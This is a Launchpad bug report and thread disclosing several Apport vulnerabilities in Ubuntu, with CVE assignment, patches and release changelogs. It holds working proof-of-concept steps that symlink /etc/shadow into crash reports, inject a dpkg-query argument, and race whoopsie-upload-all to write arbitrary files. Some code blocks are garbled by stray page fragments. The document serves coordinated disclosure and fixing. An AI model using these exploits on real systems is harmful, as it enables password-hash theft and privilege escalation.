

Arbitrary file reads

Bug #1917904 reported by [mal](#) on 2021-03-05

This bug affects 1 person

258

Affects	Status	Importance	Assigned to	Milestone
Apport	Fix Released	Critical	Unassigned	Apport 2.21.0
apport (Ubuntu)	Fix Released	Undecided	Unassigned	
Bionic	Fix Released	Undecided	Unassigned	
Focal	Fix Released	Undecided	Unassigned	
Groovy	Fix Released	Undecided	Unassigned	
Hirsute	Fix Released	Undecided	Unassigned	
Impish	Fix Released	Undecided	Unassigned	
openjdk-lts (Ubuntu)				
Bionic	New	Undecided	Unassigned	
Focal	New	Undecided	Unassigned	
Groovy	New	Undecided	Unassigned	
Hirsute	New	Undecided	Unassigned	
Impish	New	Undecided	Unassigned	

Bug Description

```
# Vulnerabilities in Apport
During a cursory code review, several potential security issues in
`apport` and crash-related hooks in packages such as `Xorg` and `openjdk-
14-lts` have been identified.

While the issue regarding the `openjdk-14-lts` package is exploitable
on default installations, the remaining issues most likely are mitigated
by the systemctl setting `fs.protected_symlinks` on default Ubuntu
installations.

With regard to issues mitigated by `fs.protected_symlinks`, it is not
clear if they are considered to be part of the threat model, but
nonetheless will be included in this report. Further, if the issues
regarding package hooks should be reported in the corresponding packages'
bug tracker, please let me know.

## Issue 1: Arbitrary file read in package-hooks/source_openjdk-*.py
The `add_info()` function allows for a directory traversal by building a
file path using user-controlled data without properly sanitizing the
resulting path.

```Python
def add_info(report, ui=None):
 if report['ProblemType'] == 'Crash' and 'ProcCwd' in report:
 # attach hs_err_pid<pid>.pid file
 cwd = report['ProcCwd']
 pid_line = re.search("Pid:\t(.)\n", report["ProcStatus"])
 if pid_line:
 pid = pid_line.groups()[0]
 path = "%s/hs_err_pid%s.log" % (cwd, pid)
 # make sure if exists
 if os.path.exists(path):
 content = read_file(path)
 # truncate if bigger than 100 KB
 # see LP: #1696814
 max_length = 100*1024
 if sys.getsizeof(content) < max_length:
 report['HotspotError'] = content
 report['Tags'] += ' openjdk-hs-err'
 else:
 report['HotspotError'] = content[:max_length] + \
 "\n[truncated by openjdk-11 apport hook]" + \
 "\n[max log size is %, file size was %s]" % \
 (si_units(max_length), si_units(sys.getsizeof(
content))))
 report['Tags'] += ' openjdk-hs-err'
 else:
 report['Tags'] += ' openjdk-hs-err'
 else:
 report['Tags'] += ' openjdk-hs-err'
 else:
 report['Tags'] += ' openjdk-hs-err'
 return report
```

By injecting a `ProcCwd` such as `/home/user/` and a `Pid` such as `0`,
the function includes an arbitrary file by following a potential symbolic
link `/home/user/hs\_err\_pid0.log`.

```
PoC
...
$ sudo apt install openjdk-14-jdk

$ sudo systemctl fs.protected_symlinks
fs.protected_symlinks = 1

$ ln -s /etc/shadow /home/user/hs_err_pid0.log

$ pid=$'\t0';cat << EOF > /var/crash/poc.crash
ProblemType: Crash
ExecutablePath: /poc
Package: openjdk-lts 123
SourcePackage: openjdk-lts
ProcCwd: /home/user
ProcStatus:
 Pid:$pid
 Uid:$pid
EOF

$ grep -A3 root: /var/crash/poc.crash
root::!18393:0:99999:7:::
daemon::!18375:0:99999:7:::
```

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[mmmen](#)  
[nikonikic42](#)  
[projevie@hotmail.com](#)  
[qadir](#)  
[sankaran](#)

```
bin:~:18375:0:99999:7:::
sys:~:18375:0:99999:7:::
...
```

## Issue 2: Arbitrary file read in package-hooks/source\_xorg.py (Info)  
The root cause of this issue stems from the fact, that a potentially user-controlled file in the `'/tmp'` directory is not checked for being a symbolic link and therefore might allow including arbitrary files in the processed crash report:

Note: Requires `fs.protected\_symlinks=0`

```
'''Python
def attach_3d_info(report, ui=None):
 ...

 # Compiz internal state if compiz crashed
 if True or report.get('SourcePackage','Unknown') == "compiz" and
"ProcStatus" in report:
 compiz_pid = 0
 pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
 if pid_line:
 compiz_pid = pid_line.groups()[0]
 compiz_state_file = '/tmp/compiz_internal_state%s' % compiz_pid
 attach_file_if_exists(report, compiz_state_file, "compiz_internal_
states")
'''
```

### PoC

```
...
$ sudo sysctl fs.protected_symlinks=0
fs.protected_symlinks = 0
```

```
$ ln -s /etc/shadow /tmp/compiz_internal_state0
```

```
$ cat << EOF > /var/crash/poc.crash
ProblemType: Crash
ExecutablePath: /poc
Package: source_xorg 123
SourcePackage: compiz
ProcStatus:
 Pid:
EOF
```

```
$ grep -A3 compiz_internal poc.crash
```

```
compiz_internal_states:
root:~:18686:0:99999:7:::
daemon:~:18474:0:99999:7:::
bin:~:18474:0:99999:7:::
...
```

## Issue 3: Spoof modified config files via argument injection (Info)  
The `get\_modified\_conffiles()` function allows to spoof modified configuration files by a controlled package name:

```
'''Python
def get_modified_conffiles(self, package):
 ...

 dpkg = subprocess.Popen(['dpkg-query', '-W', '--showformat=
${Conffiles}' ,
 package], stdout=subprocess.PIPE)
'''
```

By supplying a `package` name such as  
`--showformat=\${Conffiles;6}shadow 1\n` it is possible to manipulate  
dpkg-query's output and therefore to include the `shadow` file in the  
resulting crash report.

Please note however that this function is seemingly only called in the  
`attach\_conffiles()` function, which subsequently requires a UI response  
of the user to finally include the file in the crash report.

### PoC

```
...
$ dpkg-query -W --showformat='${Conffiles}' --showformat='${Conffiles;
6}shadow 1\n' | head -n2
/etc/shadow 1
shadow 1
...
```

## Issue 4: Arbitrary file write in whoopsie-upload-all (Info)  
After adding additional information to the crash file, `whoopsie-upload-  
all` does not check if the crash file was replaced by a symbolic link  
before writing the extended report back into the file. Thus, replacing the  
crash file with a symbolic link allows to write into arbitrary files using  
`whoopsie-upload-all`'s elevated privileges. By using a program's lax  
configuration parsing (e.g. `logrotate`), this might lead to code  
execution.

Note: Requires `fs.protected\_symlinks=0`

```
'''Python
def process_report(report):
 '''Collect information for a report and mark for whoopsie upload
 ...

 # write updated report, we use os.open and os.fdopen as
 # /proc/sys/fs/protected_regular is set to 1 (LP: #1848064)
 fd = os.open(report, os.O_WRONLY | os.O_APPEND)
 with os.fdopen(fd, 'wb') as f:
 os.chmod(report, 0)
 f.write(f, only_new=True)
 os.chmod(report, 0o640)
'''
```

### PoC

```
...
$ sudo sysctl fs.protected_symlinks
fs.protected_symlinks = 0
```

```
$ cat ex.sh
TARGET="/JRN"
while :; do
```

ubuntu18  
van

## Patches

[proposed hirsute debdiff](#)  
[proposed groovy debdiff](#)  
[proposed focal debdiff](#)  
[proposed bionic debdiff](#)  
[Add patch](#)

```
FN="/var/crash/$RANDOM.poc.crash"
pid=${'\t0'};cat << EOF > $FN
ProblemType: Crash
ExecutablePath: /poc
Package: openjdk-lts 123
SourcePackage: openjdk-lts
ProcCwd: /home/user
ProcStatus:
Pid:$pid
Uid:$pid
EOF
while ;; do
 if ps aux|grep -q "[w]hoopsie-upload-all";then break; fi
done
sleep 0.3
rm -f $FN
ln -s $TARGET $FN

if [-s /JRN]; then echo DONE.; break; fi
done

$ sudo touch /JRN; ls -l /JRN # simulating file in e.g. /etc/logrotate.d/
-rw-r--r-- 1 root root 0 M🔒 3 14:15 /JRN

$ bash ex.sh
DONE.

$ ls -l /JRN; sudo head -n3 /JRN
-rw-r----- 1 root root 105028 M🔒 3 14:16 /JRN
ApportVersion: 2.20.11-0ubuntu27.16
Architecture: amd64
CasperMD5CheckResult: skip
...

Credits
Please credit <email address hidden> (@fktio) if the issues are considered
valid. Further, please coordinate the patch release date with us, in case
we consider publishing a short article about these issues.

Best regards,
maik
```

[See original description](#)

CVE References

- [2021-32547](#)
- [2021-32548](#)
- [2021-32549](#)
- [2021-32550](#)
- [2021-32551](#)
- [2021-32552](#)
- [2021-32553](#)
- [2021-32554](#)
- [2021-32555](#)
- [2021-32556](#)
- [2021-32557](#)

<a href="#">mal (mallie)</a> on 2021-03-05	
<b>description:</b> updated <b>description:</b> updated	
<a href="#">mal (mallie)</a> on 2021-03-05	
<b>description:</b> updated	
<a href="#">mal (mallie)</a> wrote on 2021-05-08:	#1
With the report being open for 2 months without a response I kindly wanted to ask if the issues will be addressed or are considered out-of-scope?  Best regards, maik	
<a href="#">Marc Deslauriers (mdeslaur)</a> wrote on 2021-05-08:	#2
The bug was overlooked as it was filed against the upstream Apport project which isn't monitored. I've reassigned it to the apport package in Ubuntu now, and I'll take a look this week.  <b>affects:</b> apport → apport (Ubuntu)	
<a href="#">Marc Deslauriers (mdeslaur)</a> wrote on 2021-05-10:	#3
issue #1 affects openjdk-lts, openjdk-8, openjdk-13, openjdk-14, openjdk-15, openjdk-16, openjdk-17 issue #2 affects xorg, xorg-hwe-18.04 issues #3 and #4 affect apport	
<a href="#">Seth Arnold (seth-arnold)</a> wrote on 2021-05-10:	#4
Nice report Mal, thanks.  CVE-2021-32547 (openjdk-lts) -- add_info() arbitrary file read CVE-2021-32548 (openjdk-8) -- add_info() arbitrary file read CVE-2021-32549 (openjdk-13) -- add_info() arbitrary file read CVE-2021-32550 (openjdk-14) -- add_info() arbitrary file read CVE-2021-32551 (openjdk-15) -- add_info() arbitrary file read CVE-2021-32552 (openjdk-16) -- add_info() arbitrary file read CVE-2021-32553 (openjdk-17) -- add_info() arbitrary file read	

CVE-2021-32554 (xorg) -- attach\_3d\_info() arbitrary file read  
CVE-2021-32555 (xorg-hwe-18.04) -- attach\_3d\_info() arbitrary file read  
CVE-2021-32556 (apport) -- get\_modified\_conffiles() incorrect changed files  
CVE-2021-32557 (apport) -- process\_report() arbitrary file write

I'm not sure about the fs.protected\_symlinks aspect -- perhaps some apport users need to have this feature disabled for some reason, we shouldn't leave them entirely out in the cold -- but the fact that a simple configuration option that we turn on by default mitigates this entire class of problems is compelling.

Should we raise the fs.protected\_symlinks handling on oss-security for wider discussion? Perhaps it's time we just treat that as an expected kernel feature.

Thanks

mal (mallie) wrote on 2021-05-11:

#5

Hello,

thank you for handling this and sorry for filing the bug against the upstream Apport project.

As for the fs.protected\_symlinks handling, I'm very much interested in a wider discussion. I'm leaning towards treating that to be an expected mitigation but I'm more than interested in getting opinions from the community.

Thanks,  
maik

Marc Deslauriers (mdeslaur) wrote on 2021-05-11:

#6

I will be working on patches for these issues today. Once we have an appropriate set of patches, I will check if Debian ships the affected scripts too, and will coordinate a proper CRD.

Marc Deslauriers (mdeslaur) wrote on 2021-05-12:

#7

What version of Ubuntu did you try your reproducers on? I'm having trouble getting them to work...

Marc Deslauriers (mdeslaur) wrote on 2021-05-13:

#8

I managed to reproduce the issues, whoopsie needs to be configured to automatically send the reports without manual intervention for the reproducers to work.

Marc Deslauriers (mdeslaur) wrote on 2021-05-13:

#13

Brian, could you please take a look and review these debdiffs?

Maik, could you do the same?

Thanks!

mal (mallie) wrote on 2021-05-13:

#14

Marc, sorry for the delay, we have a national holiday today.  
I tested it against a default Ubuntu 20.04 installation.

Regarding the patches, I'm not entirely sure if they are the correct ones, I only find references to pam\_faillock. Sorry if I missed something, I just quickly glanced over them.

Marc Deslauriers (mdeslaur) wrote on 2021-05-13:

#15

Oh, I attached the wrong debdiffs...whoops.

Marc Deslauriers (mdeslaur) wrote on 2021-05-13:

#16

proposed hirsute debdiff (5.5 KiB, text/plain)

Marc Deslauriers (mdeslaur) wrote on 2021-05-13:

#17

proposed groovy debdiff (5.5 KiB, text/plain)

Marc Deslauriers (mdeslaur) wrote on 2021-05-13:

#18

proposed focal debdiff (5.5 KiB, text/plain)

Marc Deslauriers (mdeslaur) wrote on 2021-05-13:

#19

proposed bionic debdiff (5.5 KiB, text/plain)

Marc Deslauriers (mdeslaur) wrote on 2021-05-13:

#20

Here are the right debdiffs this time :)

Brian Murray (brian-murray) wrote on 2021-05-13:

#21

The debdiff for hirsute looks good to me, thanks! Could this error message be more specific though?

+ return 'Error: could not open file!'

Marc Deslauriers (mdeslaur) wrote on 2021-05-13:	#22
<p>Sure...do you have a suggestion?</p> <p>How about "Error: path was not a regular file."</p>	
Brian Murray (brian-murray) wrote on 2021-05-13:	#23
<p>That sounds like an accurate description to me!</p>	
mal (malle) wrote on 2021-05-14:	#24
<p>The patches look good to me.</p>	
Marc Deslauriers (mdeslaur) wrote on 2021-05-17:	#25
<p>We will be publishing these updates on 2021-05-25. Thanks!</p>	
Marc Deslauriers (mdeslaur) wrote on 2021-05-17:	#26
<p>We have a policy of only crediting real names in our USN texts. Do you want me to credit you as "Maik", or do you have a full name I should use?</p>	
Marc Deslauriers (mdeslaur) wrote on 2021-05-17:	#27
<p>(I will use "&lt;email address hidden&gt; (@fktio)" in our CVE tracker)</p>	
<p>Marc Deslauriers (mdeslaur) on 2021-05-25</p> <p><b>no longer affects:</b>openjdk-lts (Ubuntu)</p>	
Launchpad Janitor (janitor) wrote on 2021-05-25:	#29
<p>This bug was fixed in the package apport - 2.20.11-0ubuntu65.1</p> <pre>----- apport (2.20.11-0ubuntu65.1) hirsute-security; urgency=medium    * SECURITY UPDATE: Multiple arbitrary file reads (LP: #1917904)     - apport/hookutils.py: don't follow symlinks and make sure the file       isn't a FIFO in read_file().     - test/test_hookutils.py: added symlink tests.     - CVE-2021-32547, CVE-2021-32548, CVE-2021-32549, CVE-2021-32550,       CVE-2021-32551, CVE-2021-32552, CVE-2021-32553, CVE-2021-32554,       CVE-2021-32555   * SECURITY UPDATE: info disclosure via modified config files spoofing     (LP: #1917904)     - backends/packaging-apt-dpkg.py: properly terminate arguments in       get_modified_conffiles.     - CVE-2021-32556   * SECURITY UPDATE: arbitrary file write (LP: #1917904)     - data/whoopsie-upload-all: don't follow symlinks and make sure the       file isn't a FIFO in process_report().     - CVE-2021-32557  -- Marc Deslauriers &lt;email address hidden&gt; Tue, 18 May 2021 09:15:10 -0400  Changed in apport (Ubuntu Hirsute):   status:New -&gt; Fix Released</pre>	
Launchpad Janitor (janitor) wrote on 2021-05-25:	#30
<p>This bug was fixed in the package apport - 2.20.9-0ubuntu7.24</p> <pre>----- apport (2.20.9-0ubuntu7.24) bionic-security; urgency=medium    * SECURITY UPDATE: Multiple arbitrary file reads (LP: #1917904)     - apport/hookutils.py: don't follow symlinks and make sure the file       isn't a FIFO in read_file().     - test/test_hookutils.py: added symlink tests.     - CVE-2021-32547, CVE-2021-32548, CVE-2021-32549, CVE-2021-32550,       CVE-2021-32551, CVE-2021-32552, CVE-2021-32553, CVE-2021-32554,       CVE-2021-32555   * SECURITY UPDATE: info disclosure via modified config files spoofing     (LP: #1917904)     - backends/packaging-apt-dpkg.py: properly terminate arguments in       get_modified_conffiles.     - CVE-2021-32556   * SECURITY UPDATE: arbitrary file write (LP: #1917904)     - data/whoopsie-upload-all: don't follow symlinks and make sure the       file isn't a FIFO in process_report().     - CVE-2021-32557  -- Marc Deslauriers &lt;email address hidden&gt; Tue, 18 May 2021 09:15:10 -0400  Changed in apport (Ubuntu Bionic):   status:New -&gt; Fix Released</pre>	
Launchpad Janitor (janitor) wrote on 2021-05-25:	#31
<p>This bug was fixed in the package apport - 2.20.11-0ubuntu50.7</p> <pre>----- apport (2.20.11-0ubuntu50.7) groovy-security; urgency=medium    * SECURITY UPDATE: Multiple arbitrary file reads (LP: #1917904)     - apport/hookutils.py: don't follow symlinks and make sure the file       isn't a FIFO in read_file().     - test/test_hookutils.py: added symlink tests.     - CVE-2021-32547, CVE-2021-32548, CVE-2021-32549, CVE-2021-32550,       CVE-2021-32551, CVE-2021-32552, CVE-2021-32553, CVE-2021-32554,</pre>	

```
CVE-2021-32555
* SECURITY UPDATE: info disclosure via modified config files spoofing
(LP: #1917904)
- backends/packaging-apt-dpkg.py: properly terminate arguments in
 get_modified_conffiles.
- CVE-2021-32556
* SECURITY UPDATE: arbitrary file write (LP: #1917904)
- data/whoopsie-upload-all: don't follow symlinks and make sure the
 file isn't a FIFO in process_report().
- CVE-2021-32557

-- Marc Deslauriers <email address hidden> Tue, 18 May 2021 09:15:10
-0400

Changed in apport (Ubuntu Groovy):
 status:New → Fix Released
```

Launchpad Janitor (janitor) wrote on 2021-05-25:

#32

```
This bug was fixed in the package apport - 2.20.11-0ubuntu27.18

apport (2.20.11-0ubuntu27.18) focal-security; urgency=medium

* SECURITY UPDATE: Multiple arbitrary file reads (LP: #1917904)
- apport/hookutils.py: don't follow symlinks and make sure the file
 isn't a FIFO in read_file().
- test/test_hookutils.py: added symlink tests.
- CVE-2021-32547, CVE-2021-32548, CVE-2021-32549, CVE-2021-32550,
 CVE-2021-32551, CVE-2021-32552, CVE-2021-32553, CVE-2021-32554,
 CVE-2021-32555
* SECURITY UPDATE: info disclosure via modified config files spoofing
(LP: #1917904)
- backends/packaging-apt-dpkg.py: properly terminate arguments in
 get_modified_conffiles.
- CVE-2021-32556
* SECURITY UPDATE: arbitrary file write (LP: #1917904)
- data/whoopsie-upload-all: don't follow symlinks and make sure the
 file isn't a FIFO in process_report().
- CVE-2021-32557

-- Marc Deslauriers <email address hidden> Tue, 18 May 2021 09:15:10
-0400

Changed in apport (Ubuntu Focal):
 status:New → Fix Released
```

Marc Deslauriers (mdeslaur) on 2021-05-25

information type:Private Security → Public Security

Marc Deslauriers (mdeslaur) on 2021-05-25

information type:Public Security → Private Security

Launchpad Janitor (janitor) wrote on 2021-05-26:

#33

```
This bug was fixed in the package apport - 2.20.11-0ubuntu67

apport (2.20.11-0ubuntu67) impish; urgency=medium

* SECURITY UPDATE: Multiple arbitrary file reads (LP: #1917904)
- apport/hookutils.py: don't follow symlinks and make sure the file
 isn't a FIFO in read_file().
- test/test_hookutils.py: added symlink tests.
- CVE-2021-32547, CVE-2021-32548, CVE-2021-32549, CVE-2021-32550,
 CVE-2021-32551, CVE-2021-32552, CVE-2021-32553, CVE-2021-32554,
 CVE-2021-32555
* SECURITY UPDATE: info disclosure via modified config files spoofing
(LP: #1917904)
- backends/packaging-apt-dpkg.py: properly terminate arguments in
 get_modified_conffiles.
- CVE-2021-32556
* SECURITY UPDATE: arbitrary file write (LP: #1917904)
- data/whoopsie-upload-all: don't follow symlinks and make sure the
 file isn't a FIFO in process_report().
- CVE-2021-32557

-- Marc Deslauriers <email address hidden> Tue, 18 May 2021 09:15:10
-0400

Changed in apport (Ubuntu Impish):
 status:New → Fix Released
```

Seth Arnold (seth-arnold) on 2021-06-12

information type:Private Security → Public Security

SatoshiNakamoto (evansanita713) on 2021-06-19

Changed in apport (Ubuntu Bionic):  
assignee:nobody → SatoshiNakamoto (evansanita713)

Marc Deslauriers (mdeslaur) on 2021-06-19

Changed in apport (Ubuntu Bionic):  
assignee:SatoshiNakamoto (evansanita713) → nobody

SatoshiNakamoto (evansanita713) on 2021-06-19

Changed in apport (Ubuntu Bionic):

**assignee:**nobody → SatoshiNakamoto (evansanita713)  
Changed in apport (Ubuntu Focal):  
**assignee:**nobody → SatoshiNakamoto (evansanita713)  
Changed in apport (Ubuntu Groovy):  
**assignee:**nobody → SatoshiNakamoto (evansanita713)  
Changed in apport (Ubuntu Hirsute):  
**assignee:**nobody → SatoshiNakamoto (evansanita713)  
Changed in apport (Ubuntu Impish):  
**assignee:**nobody → SatoshiNakamoto (evansanita713)  
**information type:**Public Security → Private Security

Marc Deslauriers (mdeslaur) on 2021-06-19

Changed in apport (Ubuntu Bionic):  
**assignee:**SatoshiNakamoto (evansanita713) → nobody  
Changed in apport (Ubuntu Focal):  
**assignee:**SatoshiNakamoto (evansanita713) → nobody  
Changed in apport (Ubuntu Groovy):  
**assignee:**SatoshiNakamoto (evansanita713) → nobody  
Changed in apport (Ubuntu Hirsute):  
**assignee:**SatoshiNakamoto (evansanita713) → nobody  
Changed in apport (Ubuntu Impish):  
**assignee:**SatoshiNakamoto (evansanita713) → nobody  
**information type:**Private Security → Public Security

SatoshiNakamoto (evansanita713) on 2021-06-30

Changed in apport (Ubuntu Impish):  
**assignee:**nobody → SatoshiNakamoto (evansanita713)

Marc Deslauriers (mdeslaur) on 2021-06-30

Changed in apport (Ubuntu Impish):  
**assignee:**SatoshiNakamoto (evansanita713) → nobody

Benjamin Drung (bdrung) on 2022-06-27

Changed in apport:  
**importance:**Undecided → Critical  
**milestone:**none → 2.21.0  
**status:**New → Fix Released

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